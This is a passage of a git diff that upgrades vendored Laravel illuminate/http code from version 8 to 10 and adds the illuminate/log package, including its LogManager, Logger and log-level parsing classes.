$parameters); } } diff --git a/vendor/illuminate/http/Resources/Json/AnonymousResourceCollection.php b/vendor/illuminate/http/Resources/Json/AnonymousResourceCollection.php index a58313649..26f5c460c 100644 --- a/vendor/illuminate/http/Resources/Json/AnonymousResourceCollection.php +++ b/vendor/illuminate/http/Resources/Json/AnonymousResourceCollection.php @@ -11,6 +11,13 @@ class AnonymousResourceCollection extends ResourceCollection */ public $collects; + /** + * Indicates if the collection keys should be preserved. + * + * @var bool + */ + public $preserveKeys = false; + /** * Create a new anonymous resource collection. * diff --git a/vendor/illuminate/http/Resources/Json/JsonResource.php b/vendor/illuminate/http/Resources/Json/JsonResource.php index 8c8bf000b..0c2fd151f 100644 --- a/vendor/illuminate/http/Resources/Json/JsonResource.php +++ b/vendor/illuminate/http/Resources/Json/JsonResource.php @@ -8,6 +8,8 @@ use Illuminate\Contracts\Support\Arrayable; use Illuminate\Contracts\Support\Responsable; use Illuminate\Database\Eloquent\JsonEncodingException; +use Illuminate\Http\JsonResponse; +use Illuminate\Http\Request; use Illuminate\Http\Resources\ConditionallyLoadsAttributes; use Illuminate\Http\Resources\DelegatesToResource; use JsonSerializable; @@ -76,13 +78,24 @@ public static function make(...$parameters) */ public static function collection($resource) { - return tap(new AnonymousResourceCollection($resource, static::class), function ($collection) { + return tap(static::newCollection($resource), function ($collection) { if (property_exists(static::class, 'preserveKeys')) { $collection->preserveKeys = (new static([]))->preserveKeys === true; } }); } + /** + * Create a new resource collection instance. + * + * @param mixed $resource + * @return \Illuminate\Http\Resources\Json\AnonymousResourceCollection + */ + protected static function newCollection($resource) + { + return new AnonymousResourceCollection($resource, static::class); + } + /** * Resolve the resource to an array. * @@ -110,7 +123,7 @@ public function resolve($request = null) * @param \Illuminate\Http\Request $request * @return array|\Illuminate\Contracts\Support\Arrayable|\JsonSerializable */ - public function toArray($request) + public function toArray(Request $request) { if (is_null($this->resource)) { return []; @@ -133,7 +146,7 @@ public function toJson($options = 0) { $json = json_encode($this->jsonSerialize(), $options); - if (JSON_ERROR_NONE !== json_last_error()) { + if (json_last_error() !== JSON_ERROR_NONE) { throw JsonEncodingException::forResource($this, json_last_error_msg()); } @@ -146,7 +159,7 @@ public function toJson($options = 0) * @param \Illuminate\Http\Request $request * @return array */ - public function with($request) + public function with(Request $request) { return $this->with; } @@ -181,7 +194,7 @@ public function jsonOptions() * @param \Illuminate\Http\JsonResponse $response * @return void */ - public function withResponse($request, $response) + public function withResponse(Request $request, JsonResponse $response) { // } @@ -236,8 +249,7 @@ public function toResponse($request) * * @return array */ - #[\ReturnTypeWillChange] - public function jsonSerialize() + public function jsonSerialize(): array { return $this->resolve(Container::getInstance()->make('request')); } diff --git a/vendor/illuminate/http/Resources/Json/PaginatedResourceResponse.php b/vendor/illuminate/http/Resources/Json/PaginatedResourceResponse.php index bd3e8f9ad..a6190c51a 100644 --- a/vendor/illuminate/http/Resources/Json/PaginatedResourceResponse.php +++ b/vendor/illuminate/http/Resources/Json/PaginatedResourceResponse.php @@ -50,7 +50,8 @@ protected function paginationInformation($request) 'meta' => $this->meta($paginated), ]; - if (method_exists($this->resource, 'paginationInformation')) { + if (method_exists($this->resource, 'paginationInformation') || + $this->resource->hasMacro('paginationInformation')) { return $this->resource->paginationInformation($request, $paginated, $default); } diff --git a/vendor/illuminate/http/Resources/Json/ResourceCollection.php b/vendor/illuminate/http/Resources/Json/ResourceCollection.php index 65710aa32..af86849fe 100644 --- a/vendor/illuminate/http/Resources/Json/ResourceCollection.php +++ b/vendor/illuminate/http/Resources/Json/ResourceCollection.php @@ -3,6 +3,7 @@ namespace Illuminate\Http\Resources\Json; use Countable; +use Illuminate\Http\Request; use Illuminate\Http\Resources\CollectsResources; use Illuminate\Pagination\AbstractCursorPaginator; use Illuminate\Pagination\AbstractPaginator; @@ -85,8 +86,7 @@ public function withQuery(array $query) * * @return int */ - #[\ReturnTypeWillChange] - public function count() + public function count(): int { return $this->collection->count(); } @@ -97,7 +97,7 @@ public function count() * @param \Illuminate\Http\Request $request * @return array|\Illuminate\Contracts\Support\Arrayable|\JsonSerializable */ - public function toArray($request) + public function toArray(Request $request) { return $this->collection->map->toArray($request)->all(); } diff --git a/vendor/illuminate/http/Resources/Json/ResourceResponse.php b/vendor/illuminate/http/Resources/Json/ResourceResponse.php index 51f36576f..430e41a72 100644 --- a/vendor/illuminate/http/Resources/Json/ResourceResponse.php +++ b/vendor/illuminate/http/Resources/Json/ResourceResponse.php @@ -53,7 +53,7 @@ public function toResponse($request) /** * Wrap the given data if necessary. * - * @param array $data + * @param \Illuminate\Support\Collection|array $data * @param array $with * @param array $additional * @return array diff --git a/vendor/illuminate/http/Response.php b/vendor/illuminate/http/Response.php index 8599a8e53..dad783fcd 100644 --- a/vendor/illuminate/http/Response.php +++ b/vendor/illuminate/http/Response.php @@ -45,7 +45,7 @@ public function __construct($content = '', $status = 200, array $headers = []) * * @throws \InvalidArgumentException */ - public function setContent($content) + public function setContent(mixed $content): static { $this->original = $content; diff --git a/vendor/illuminate/http/Testing/File.php b/vendor/illuminate/http/Testing/File.php index c714529fe..aaba539cf 100644 --- a/vendor/illuminate/http/Testing/File.php +++ b/vendor/illuminate/http/Testing/File.php @@ -107,8 +107,7 @@ public function size($kilobytes) * * @return int */ - #[\ReturnTypeWillChange] - public function getSize() + public function getSize(): int { return $this->sizeToReport ?: parent::getSize(); } @@ -131,7 +130,7 @@ public function mimeType($mimeType) * * @return string */ - public function getMimeType() + public function getMimeType(): string { return $this->mimeTypeToReport ?: MimeType::from($this->name); } diff --git a/vendor/illuminate/http/Testing/FileFactory.php b/vendor/illuminate/http/Testing/FileFactory.php index 9e25d72de..aa4b0296b 100644 --- a/vendor/illuminate/http/Testing/FileFactory.php +++ b/vendor/illuminate/http/Testing/FileFactory.php @@ -2,6 +2,8 @@ namespace Illuminate\Http\Testing; +use LogicException; + class FileFactory { /** @@ -49,6 +51,8 @@ public function createWithContent($name, $content) * @param int $width * @param int $height * @return \Illuminate\Http\Testing\File + * + * @throws \LogicException */ public function image($name, $width = 10, $height = 10) { @@ -64,9 +68,15 @@ public function image($name, $width = 10, $height = 10) * @param int $height * @param string $extension * @return resource + * + * @throws \LogicException */ protected function generateImage($width, $height, $extension) { + if (! function_exists('imagecreatetruecolor')) { + throw new LogicException('GD extension is not installed.'); + } + return tap(tmpfile(), function ($temp) use ($width, $height, $extension) { ob_start(); @@ -76,7 +86,13 @@ protected function generateImage($width, $height, $extension) $image = imagecreatetruecolor($width, $height); - call_user_func("image{$extension}", $image); + if (! function_exists($functionName = "image{$extension}")) { + ob_get_clean(); + + throw new LogicException("{$functionName} function is not defined and image cannot be generated."); + } + + call_user_func($functionName, $image); fwrite($temp, ob_get_clean()); }); diff --git a/vendor/illuminate/http/UploadedFile.php b/vendor/illuminate/http/UploadedFile.php index 7779683e4..e28b8b5ad 100644 --- a/vendor/illuminate/http/UploadedFile.php +++ b/vendor/illuminate/http/UploadedFile.php @@ -31,7 +31,7 @@ public static function fake() * @param array|string $options * @return string|false */ - public function store($path, $options = []) + public function store($path = '', $options = []) { return $this->storeAs($path, $this->hashName(), $this->parseOptions($options)); } @@ -43,7 +43,7 @@ public function store($path, $options = []) * @param array|string $options * @return string|false */ - public function storePublicly($path, $options = []) + public function storePublicly($path = '', $options = []) { $options = $this->parseOptions($options); @@ -60,8 +60,12 @@ public function storePublicly($path, $options = []) * @param array|string $options * @return string|false */ - public function storePubliclyAs($path, $name, $options = []) + public function storePubliclyAs($path, $name = null, $options = []) { + if (is_null($name) || is_array($name)) { + [$path, $name, $options] = ['', $path, $name ?? []]; + } + $options = $this->parseOptions($options); $options['visibility'] = 'public'; @@ -73,12 +77,16 @@ public function storePubliclyAs($path, $name, $options = []) * Store the uploaded file on a filesystem disk. * * @param string $path - * @param string $name + * @param string|array $name * @param array|string $options * @return string|false */ - public function storeAs($path, $name, $options = []) + public function storeAs($path, $name = null, $options = []) { + if (is_null($name) || is_array($name)) { + [$path, $name, $options] = ['', $path, $name ?? []]; + } + $options = $this->parseOptions($options); $disk = Arr::pull($options, 'disk'); diff --git a/vendor/illuminate/http/composer.json b/vendor/illuminate/http/composer.json index 564c398d6..94d03fc4e 100644 --- a/vendor/illuminate/http/composer.json +++ b/vendor/illuminate/http/composer.json @@ -14,15 +14,17 @@ } ], "require": { - "php": "^7.3|^8.0", - "ext-json": "*", - "illuminate/collections": "^8.0", - "illuminate/macroable": "^8.0", - "illuminate/session": "^8.0", - "illuminate/support": "^8.0", - "symfony/http-foundation": "^5.4", - "symfony/http-kernel": "^5.4", - "symfony/mime": "^5.4" + "php": "^8.1", + "ext-filter": "*", + "fruitcake/php-cors": "^1.2", + "guzzlehttp/uri-template": "^1.0", + "illuminate/collections": "^10.0", + "illuminate/macroable": "^10.0", + "illuminate/session": "^10.0", + "illuminate/support": "^10.0", + "symfony/http-foundation": "^6.4", + "symfony/http-kernel": "^6.2", + "symfony/mime": "^6.2" }, "autoload": { "psr-4": { @@ -31,11 +33,11 @@ }, "suggest": { "ext-gd": "Required to use Illuminate\\Http\\Testing\\FileFactory::image().", - "guzzlehttp/guzzle": "Required to use the HTTP Client (^6.5.5|^7.0.1)." + "guzzlehttp/guzzle": "Required to use the HTTP Client (^7.5)." }, "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "config": { diff --git a/vendor/illuminate/log/Events/MessageLogged.php b/vendor/illuminate/log/Events/MessageLogged.php new file mode 100644 index 000000000..312b343a3 --- /dev/null +++ b/vendor/illuminate/log/Events/MessageLogged.php @@ -0,0 +1,42 @@ +level = $level; + $this->message = $message; + $this->context = $context; + } +} diff --git a/vendor/illuminate/log/LogManager.php b/vendor/illuminate/log/LogManager.php new file mode 100644 index 000000000..b3ece35d8 --- /dev/null +++ b/vendor/illuminate/log/LogManager.php @@ -0,0 +1,761 @@ +app = $app; + } + + /** + * Build an on-demand log channel. + * + * @param array $config + * @return \Psr\Log\LoggerInterface + */ + public function build(array $config) + { + unset($this->channels['ondemand']); + + return $this->get('ondemand', $config); + } + + /** + * Create a new, on-demand aggregate logger instance. + * + * @param array $channels + * @param string|null $channel + * @return \Psr\Log\LoggerInterface + */ + public function stack(array $channels, $channel = null) + { + return (new Logger( + $this->createStackDriver(compact('channels', 'channel')), + $this->app['events'] + ))->withContext($this->sharedContext); + } + + /** + * Get a log channel instance. + * + * @param string|null $channel + * @return \Psr\Log\LoggerInterface + */ + public function channel($channel = null) + { + return $this->driver($channel); + } + + /** + * Get a log driver instance. + * + * @param string|null $driver + * @return \Psr\Log\LoggerInterface + */ + public function driver($driver = null) + { + return $this->get($this->parseDriver($driver)); + } + + /** + * Attempt to get the log from the local cache. + * + * @param string $name + * @param array|null $config + * @return \Psr\Log\LoggerInterface + */ + protected function get($name, ?array $config = null) + { + try { + return $this->channels[$name] ?? with($this->resolve($name, $config), function ($logger) use ($name) { + return $this->channels[$name] = $this->tap($name, new Logger($logger, $this->app['events']))->withContext($this->sharedContext); + }); + } catch (Throwable $e) { + return tap($this->createEmergencyLogger(), function ($logger) use ($e) { + $logger->emergency('Unable to create configured logger. Using emergency logger.', [ + 'exception' => $e, + ]); + }); + } + } + + /** + * Apply the configured taps for the logger. + * + * @param string $name + * @param \Illuminate\Log\Logger $logger + * @return \Illuminate\Log\Logger + */ + protected function tap($name, Logger $logger) + { + foreach ($this->configurationFor($name)['tap'] ?? [] as $tap) { + [$class, $arguments] = $this->parseTap($tap); + + $this->app->make($class)->__invoke($logger, ...explode(',', $arguments)); + } + + return $logger; + } + + /** + * Parse the given tap class string into a class name and arguments string. + * + * @param string $tap + * @return array + */ + protected function parseTap($tap) + { + return str_contains($tap, ':') ? explode(':', $tap, 2) : [$tap, '']; + } + + /** + * Create an emergency log handler to avoid white screens of death. + * + * @return \Psr\Log\LoggerInterface + */ + protected function createEmergencyLogger() + { + $config = $this->configurationFor('emergency'); + + $handler = new StreamHandler( + $config['path'] ?? $this->app->storagePath().'/logs/laravel.log', + $this->level(['level' => 'debug']) + ); + + return new Logger( + new Monolog('laravel', $this->prepareHandlers([$handler])), + $this->app['events'] + ); + } + + /** + * Resolve the given log instance by name. + * + * @param string $name + * @param array|null $config + * @return \Psr\Log\LoggerInterface + * + * @throws \InvalidArgumentException + */ + protected function resolve($name, ?array $config = null) + { + $config ??= $this->configurationFor($name); + + if (is_null($config)) { + throw new InvalidArgumentException("Log [{$name}] is not defined."); + } + + if (isset($this->customCreators[$config['driver']])) { + return $this->callCustomCreator($config); + } + + $driverMethod = 'create'.ucfirst($config['driver']).'Driver'; + + if (method_exists($this, $driverMethod)) { + return $this->{$driverMethod}($config); + } + + throw new InvalidArgumentException("Driver [{$config['driver']}] is not supported."); + } + + /** + * Call a custom driver creator. + * + * @param array $config + * @return mixed + */ + protected function callCustomCreator(array $config) + { + return $this->customCreators[$config['driver']]($this->app, $config); + } + + /** + * Create a custom log driver instance. + * + * @param array $config + * @return \Psr\Log\LoggerInterface + */ + protected function createCustomDriver(array $config) + { + $factory = is_callable($via = $config['via']) ? $via : $this->app->make($via); + + return $factory($config); + } + + /** + * Create an aggregate log driver instance. + * + * @param array $config + * @return \Psr\Log\LoggerInterface + */ + protected function createStackDriver(array $config) + { + if (is_string($config['channels'])) { + $config['channels'] = explode(',', $config['channels']); + } + + $handlers = collect($config['channels'])->flatMap(function ($channel) { + return $channel instanceof LoggerInterface + ? $channel->getHandlers() + : $this->channel($channel)->getHandlers(); + })->all(); + + $processors = collect($config['channels'])->flatMap(function ($channel) { + return $channel instanceof LoggerInterface + ? $channel->getProcessors() + : $this->channel($channel)->getProcessors(); + })->all(); + + if ($config['ignore_exceptions'] ?? false) { + $handlers = [new WhatFailureGroupHandler($handlers)]; + } + + return new Monolog($this->parseChannel($config), $handlers, $processors); + } + + /** + * Create an instance of the single file log driver. + * + * @param array $config + * @return \Psr\Log\LoggerInterface + */ + protected function createSingleDriver(array $config) + { + return new Monolog($this->parseChannel($config), [ + $this->prepareHandler( + new StreamHandler( + $config['path'], $this->level($config), + $config['bubble'] ?? true, $config['permission'] ?? null, $config['locking'] ?? false + ), $config + ), + ], $config['replace_placeholders'] ?? false ? [new PsrLogMessageProcessor()] : []); + } + + /** + * Create an instance of the daily file log driver. + * + * @param array $config + * @return \Psr\Log\LoggerInterface + */ + protected function createDailyDriver(array $config) + { + return new Monolog($this->parseChannel($config), [ + $this->prepareHandler(new RotatingFileHandler( + $config['path'], $config['days'] ?? 7, $this->level($config), + $config['bubble'] ?? true, $config['permission'] ?? null, $config['locking'] ?? false + ), $config), + ], $config['replace_placeholders'] ?? false ? [new PsrLogMessageProcessor()] : []); + } + + /** + * Create an instance of the Slack log driver. + * + * @param array $config + * @return \Psr\Log\LoggerInterface + */ + protected function createSlackDriver(array $config) + { + return new Monolog($this->parseChannel($config), [ + $this->prepareHandler(new SlackWebhookHandler( + $config['url'], + $config['channel'] ?? null, + $config['username'] ?? 'Laravel', + $config['attachment'] ?? true, + $config['emoji'] ?? ':boom:', + $config['short'] ?? false, + $config['context'] ?? true, + $this->level($config), + $config['bubble'] ?? true, + $config['exclude_fields'] ?? [] + ), $config), + ], $config['replace_placeholders'] ?? false ? [new PsrLogMessageProcessor()] : []); + } + + /** + * Create an instance of the syslog log driver. + * + * @param array $config + * @return \Psr\Log\LoggerInterface + */ + protected function createSyslogDriver(array $config) + { + return new Monolog($this->parseChannel($config), [ + $this->prepareHandler(new SyslogHandler( + Str::snake($this->app['config']['app.name'], '-'), + $config['facility'] ?? LOG_USER, $this->level($config) + ), $config), + ], $config['replace_placeholders'] ?? false ? [new PsrLogMessageProcessor()] : []); + } + + /** + * Create an instance of the "error log" log driver. + * + * @param array $config + * @return \Psr\Log\LoggerInterface + */ + protected function createErrorlogDriver(array $config) + { + return new Monolog($this->parseChannel($config), [ + $this->prepareHandler(new ErrorLogHandler( + $config['type'] ?? ErrorLogHandler::OPERATING_SYSTEM, $this->level($config) + )), + ], $config['replace_placeholders'] ?? false ? [new PsrLogMessageProcessor()] : []); + } + + /** + * Create an instance of any handler available in Monolog. + * + * @param array $config + * @return \Psr\Log\LoggerInterface + * + * @throws \InvalidArgumentException + * @throws \Illuminate\Contracts\Container\BindingResolutionException + */ + protected function createMonologDriver(array $config) + { + if (! is_a($config['handler'], HandlerInterface::class, true)) { + throw new InvalidArgumentException( + $config['handler'].' must be an instance of '.HandlerInterface::class + ); + } + + collect($config['processors'] ?? [])->each(function ($processor) { + $processor = $processor['processor'] ?? $processor; + + if (! is_a($processor, ProcessorInterface::class, true)) { + throw new InvalidArgumentException( + $processor.' must be an instance of '.ProcessorInterface::class + ); + } + }); + + $with = array_merge( + ['level' => $this->level($config)], + $config['with'] ?? [], + $config['handler_with'] ?? [] + ); + + $handler = $this->prepareHandler( + $this->app->make($config['handler'], $with), $config + ); + + $processors = collect($config['processors'] ?? []) + ->map(fn ($processor) => $this->app->make($processor['processor'] ?? $processor, $processor['with'] ?? [])) + ->toArray(); + + return new Monolog( + $this->parseChannel($config), + [$handler], + $processors, + ); + } + + /** + * Prepare the handlers for usage by Monolog. + * + * @param array $handlers + * @return array + */ + protected function prepareHandlers(array $handlers) + { + foreach ($handlers as $key => $handler) { + $handlers[$key] = $this->prepareHandler($handler); + } + + return $handlers; + } + + /** + * Prepare the handler for usage by Monolog. + * + * @param \Monolog\Handler\HandlerInterface $handler + * @param array $config + * @return \Monolog\Handler\HandlerInterface + */ + protected function prepareHandler(HandlerInterface $handler, array $config = []) + { + if (isset($config['action_level'])) { + $handler = new FingersCrossedHandler( + $handler, + $this->actionLevel($config), + 0, + true, + $config['stop_buffering'] ?? true + ); + } + + if (! $handler instanceof FormattableHandlerInterface) { + return $handler; + } + + if (! isset($config['formatter'])) { + $handler->setFormatter($this->formatter()); + } elseif ($config['formatter'] !== 'default') { + $handler->setFormatter($this->app->make($config['formatter'], $config['formatter_with'] ?? [])); + } + + return $handler; + } + + /** + * Get a Monolog formatter instance. + * + * @return \Monolog\Formatter\FormatterInterface + */ + protected function formatter() + { + return new LineFormatter(null, $this->dateFormat, true, true, true); + } + + /** + * Share context across channels and stacks. + * + * @param array $context + * @return $this + */ + public function shareContext(array $context) + { + foreach ($this->channels as $channel) { + $channel->withContext($context); + } + + $this->sharedContext = array_merge($this->sharedContext, $context); + + return $this; + } + + /** + * The context shared across channels and stacks. + * + * @return array + */ + public function sharedContext() + { + return $this->sharedContext; + } + + /** + * Flush the log context on all currently resolved channels. + * + * @return $this + */ + public function withoutContext() + { + foreach ($this->channels as $channel) { + if (method_exists($channel, 'withoutContext')) { + $channel->withoutContext(); + } + } + + return $this; + } + + /** + * Flush the shared context. + * + * @return $this + */ + public function flushSharedContext() + { + $this->sharedContext = []; + + return $this; + } + + /** + * Get fallback log channel name. + * + * @return string + */ + protected function getFallbackChannelName() + { + return $this->app->bound('env') ? $this->app->environment() : 'production'; + } + + /** + * Get the log connection configuration. + * + * @param string $name + * @return array + */ + protected function configurationFor($name) + { + return $this->app['config']["logging.channels.{$name}"]; + } + + /** + * Get the default log driver name. + * + * @return string|null + */ + public function getDefaultDriver() + { + return $this->app['config']['logging.default']; + } + + /** + * Set the default log driver name. + * + * @param string $name + * @return void + */ + public function setDefaultDriver($name) + { + $this->app['config']['logging.default'] = $name; + } + + /** + * Register a custom driver creator Closure. + * + * @param string $driver + * @param \Closure $callback + * @return $this + */ + public function extend($driver, Closure $callback) + { + $this->customCreators[$driver] = $callback->bindTo($this, $this); + + return $this; + } + + /** + * Unset the given channel instance. + * + * @param string|null $driver + * @return void + */ + public function forgetChannel($driver = null) + { + $driver = $this->parseDriver($driver); + + if (isset($this->channels[$driver])) { + unset($this->channels[$driver]); + } + } + + /** + * Parse the driver name. + * + * @param string|null $driver + * @return string|null + */ + protected function parseDriver($driver) + { + $driver ??= $this->getDefaultDriver(); + + if ($this->app->runningUnitTests()) { + $driver ??= 'null'; + } + + return $driver; + } + + /** + * Get all of the resolved log channels. + * + * @return array + */ + public function getChannels() + { + return $this->channels; + } + + /** + * System is unusable. + * + * @param string|\Stringable $message + * @param array $context + * @return void + */ + public function emergency($message, array $context = []): void + { + $this->driver()->emergency($message, $context); + } + + /** + * Action must be taken immediately. + * + * Example: Entire website down, database unavailable, etc. This should + * trigger the SMS alerts and wake you up. + * + * @param string|\Stringable $message + * @param array $context + * @return void + */ + public function alert($message, array $context = []): void + { + $this->driver()->alert($message, $context); + } + + /** + * Critical conditions. + * + * Example: Application component unavailable, unexpected exception. + * + * @param string|\Stringable $message + * @param array $context + * @return void + */ + public function critical($message, array $context = []): void + { + $this->driver()->critical($message, $context); + } + + /** + * Runtime errors that do not require immediate action but should typically + * be logged and monitored. + * + * @param string|\Stringable $message + * @param array $context + * @return void + */ + public function error($message, array $context = []): void + { + $this->driver()->error($message, $context); + } + + /** + * Exceptional occurrences that are not errors. + * + * Example: Use of deprecated APIs, poor use of an API, undesirable things + * that are not necessarily wrong. + * + * @param string|\Stringable $message + * @param array $context + * @return void + */ + public function warning($message, array $context = []): void + { + $this->driver()->warning($message, $context); + } + + /** + * Normal but significant events. + * + * @param string|\Stringable $message + * @param array $context + * @return void + */ + public function notice($message, array $context = []): void + { + $this->driver()->notice($message, $context); + } + + /** + * Interesting events. + * + * Example: User logs in, SQL logs. + * + * @param string|\Stringable $message + * @param array $context + * @return void + */ + public function info($message, array $context = []): void + { + $this->driver()->info($message, $context); + } + + /** + * Detailed debug information. + * + * @param string|\Stringable $message + * @param array $context + * @return void + */ + public function debug($message, array $context = []): void + { + $this->driver()->debug($message, $context); + } + + /** + * Logs with an arbitrary level. + * + * @param mixed $level + * @param string|\Stringable $message + * @param array $context + * @return void + */ + public function log($level, $message, array $context = []): void + { + $this->driver()->log($level, $message, $context); + } + + /** + * Dynamically call the default driver instance. + * + * @param string $method + * @param array $parameters + * @return mixed + */ + public function __call($method, $parameters) + { + return $this->driver()->$method(...$parameters); + } +} diff --git a/vendor/illuminate/log/LogServiceProvider.php b/vendor/illuminate/log/LogServiceProvider.php new file mode 100644 index 000000000..696049433 --- /dev/null +++ b/vendor/illuminate/log/LogServiceProvider.php @@ -0,0 +1,18 @@ +app->singleton('log', fn ($app) => new LogManager($app)); + } +} diff --git a/vendor/illuminate/log/Logger.php b/vendor/illuminate/log/Logger.php new file mode 100644 index 000000000..1dd9ff444 --- /dev/null +++ b/vendor/illuminate/log/Logger.php @@ -0,0 +1,313 @@ +logger = $logger; + $this->dispatcher = $dispatcher; + } + + /** + * Log an emergency message to the logs. + * + * @param \Illuminate\Contracts\Support\Arrayable|\Illuminate\Contracts\Support\Jsonable|\Illuminate\Support\Stringable|array|string $message + * @param array $context + * @return void + */ + public function emergency($message, array $context = []): void + { + $this->writeLog(__FUNCTION__, $message, $context); + } + + /** + * Log an alert message to the logs. + * + * @param \Illuminate\Contracts\Support\Arrayable|\Illuminate\Contracts\Support\Jsonable|\Illuminate\Support\Stringable|array|string $message + * @param array $context + * @return void + */ + public function alert($message, array $context = []): void + { + $this->writeLog(__FUNCTION__, $message, $context); + } + + /** + * Log a critical message to the logs. + * + * @param \Illuminate\Contracts\Support\Arrayable|\Illuminate\Contracts\Support\Jsonable|\Illuminate\Support\Stringable|array|string $message + * @param array $context + * @return void + */ + public function critical($message, array $context = []): void + { + $this->writeLog(__FUNCTION__, $message, $context); + } + + /** + * Log an error message to the logs. + * + * @param \Illuminate\Contracts\Support\Arrayable|\Illuminate\Contracts\Support\Jsonable|\Illuminate\Support\Stringable|array|string $message + * @param array $context + * @return void + */ + public function error($message, array $context = []): void + { + $this->writeLog(__FUNCTION__, $message, $context); + } + + /** + * Log a warning message to the logs. + * + * @param \Illuminate\Contracts\Support\Arrayable|\Illuminate\Contracts\Support\Jsonable|\Illuminate\Support\Stringable|array|string $message + * @param array $context + * @return void + */ + public function warning($message, array $context = []): void + { + $this->writeLog(__FUNCTION__, $message, $context); + } + + /** + * Log a notice to the logs. + * + * @param \Illuminate\Contracts\Support\Arrayable|\Illuminate\Contracts\Support\Jsonable|\Illuminate\Support\Stringable|array|string $message + * @param array $context + * @return void + */ + public function notice($message, array $context = []): void + { + $this->writeLog(__FUNCTION__, $message, $context); + } + + /** + * Log an informational message to the logs. + * + * @param \Illuminate\Contracts\Support\Arrayable|\Illuminate\Contracts\Support\Jsonable|\Illuminate\Support\Stringable|array|string $message + * @param array $context + * @return void + */ + public function info($message, array $context = []): void + { + $this->writeLog(__FUNCTION__, $message, $context); + } + + /** + * Log a debug message to the logs. + * + * @param \Illuminate\Contracts\Support\Arrayable|\Illuminate\Contracts\Support\Jsonable|\Illuminate\Support\Stringable|array|string $message + * @param array $context + * @return void + */ + public function debug($message, array $context = []): void + { + $this->writeLog(__FUNCTION__, $message, $context); + } + + /** + * Log a message to the logs. + * + * @param string $level + * @param \Illuminate\Contracts\Support\Arrayable|\Illuminate\Contracts\Support\Jsonable|\Illuminate\Support\Stringable|array|string $message + * @param array $context + * @return void + */ + public function log($level, $message, array $context = []): void + { + $this->writeLog($level, $message, $context); + } + + /** + * Dynamically pass log calls into the writer. + * + * @param string $level + * @param \Illuminate\Contracts\Support\Arrayable|\Illuminate\Contracts\Support\Jsonable|\Illuminate\Support\Stringable|array|string $message + * @param array $context + * @return void + */ + public function write($level, $message, array $context = []): void + { + $this->writeLog($level, $message, $context); + } + + /** + * Write a message to the log. + * + * @param string $level + * @param \Illuminate\Contracts\Support\Arrayable|\Illuminate\Contracts\Support\Jsonable|\Illuminate\Support\Stringable|array|string $message + * @param array $context + * @return void + */ + protected function writeLog($level, $message, $context): void + { + $this->logger->{$level}( + $message = $this->formatMessage($message), + $context = array_merge($this->context, $context) + ); + + $this->fireLogEvent($level, $message, $context); + } + + /** + * Add context to all future logs. + * + * @param array $context + * @return $this + */ + public function withContext(array $context = []) + { + $this->context = array_merge($this->context, $context); + + return $this; + } + + /** + * Flush the existing context array. + * + * @return $this + */ + public function withoutContext() + { + $this->context = []; + + return $this; + } + + /** + * Register a new callback handler for when a log event is triggered. + * + * @param \Closure $callback + * @return void + * + * @throws \RuntimeException + */ + public function listen(Closure $callback) + { + if (! isset($this->dispatcher)) { + throw new RuntimeException('Events dispatcher has not been set.'); + } + + $this->dispatcher->listen(MessageLogged::class, $callback); + } + + /** + * Fires a log event. + * + * @param string $level + * @param string $message + * @param array $context + * @return void + */ + protected function fireLogEvent($level, $message, array $context = []) + { + // If the event dispatcher is set, we will pass along the parameters to the + // log listeners. These are useful for building profilers or other tools + // that aggregate all of the log messages for a given "request" cycle. + if (isset($this->dispatcher)) { + $this->dispatcher->dispatch(new MessageLogged($level, $message, $context)); + } + } + + /** + * Format the parameters for the logger. + * + * @param \Illuminate\Contracts\Support\Arrayable|\Illuminate\Contracts\Support\Jsonable|\Illuminate\Support\Stringable|array|string $message + * @return string + */ + protected function formatMessage($message) + { + if (is_array($message)) { + return var_export($message, true); + } elseif ($message instanceof Jsonable) { + return $message->toJson(); + } elseif ($message instanceof Arrayable) { + return var_export($message->toArray(), true); + } + + return (string) $message; + } + + /** + * Get the underlying logger implementation. + * + * @return \Psr\Log\LoggerInterface + */ + public function getLogger() + { + return $this->logger; + } + + /** + * Get the event dispatcher instance. + * + * @return \Illuminate\Contracts\Events\Dispatcher + */ + public function getEventDispatcher() + { + return $this->dispatcher; + } + + /** + * Set the event dispatcher instance. + * + * @param \Illuminate\Contracts\Events\Dispatcher $dispatcher + * @return void + */ + public function setEventDispatcher(Dispatcher $dispatcher) + { + $this->dispatcher = $dispatcher; + } + + /** + * Dynamically proxy method calls to the underlying logger. + * + * @param string $method + * @param array $parameters + * @return mixed + */ + public function __call($method, $parameters) + { + return $this->logger->{$method}(...$parameters); + } +} diff --git a/vendor/illuminate/log/ParsesLogConfiguration.php b/vendor/illuminate/log/ParsesLogConfiguration.php new file mode 100644 index 000000000..b658575ad --- /dev/null +++ b/vendor/illuminate/log/ParsesLogConfiguration.php @@ -0,0 +1,81 @@ + Level::Debug, + 'info' => Level::Info, + 'notice' => Level::Notice, + 'warning' => Level::Warning, + 'error' => Level::Error, + 'critical' => Level::Critical, + 'alert' => Level::Alert, + 'emergency' => Level::Emergency, + ]; + + /** + * Get fallback log channel name. + * + * @return string + */ + abstract protected function getFallbackChannelName(); + + /** + * Parse the string level into a Monolog constant. + * + * @param array $config + * @return int + * + * @throws \InvalidArgumentException + */ + protected function level(array $config) + { + $level = $config['level'] ?? 'debug'; + + if (isset($this->levels[$level])) { + return $this->levels[$level]; + } + + throw new InvalidArgumentException('Invalid log level.'); + } + + /** + * Parse the action level from the given configuration. + * + * @param array $config + * @return int + * + * @throws \InvalidArgumentException + */ + protected function actionLevel(array $config) + { + $level = $config['action_level'] ?? 'debug'; + + if (isset($this->levels[$level])) { + return $this->levels[$level]; + } + + throw new InvalidArgumentException('Invalid log action level.'); + } + + /** + * Extract the log channel from the given configuration. + * + * @param array $config + * @return string + */ + protected function parseChannel(array $config) + { + return $config['name'] ?? $this->getFallbackChannelName(); + } +} diff --git a/vendor/illuminate/log/composer.json b/vendor/illuminate/log/composer.json new file mode 100644 index 000000000..054aee6a5 --- /dev/null +++ b/vendor/illuminate/log/composer.json @@ -0,0 +1,36 @@ +{ + "name": "illuminate/log", + "description": "The Illuminate Log package.", + "license": "MIT", + "homepage": "https://laravel.com", + "support": { + "issues": "https://github.com/laravel/framework/issues", + "source": "https://github.com/laravel/framework" + }, + "authors": [ + { + "name": "Taylor Otwell", + "email": "taylor@laravel.com" + } + ], + "require": { + "php": "^8.1", + "illuminate/contracts": "^10.0", + "illuminate/support": "^10.0", + "monolog/monolog": "^3.0" + }, + "autoload": { + "psr-4": { + "Illuminate\\Log\\": "" + } + }, + "extra": { + "branch-alias": { + "dev-master": "10.x-dev" + } + }, + 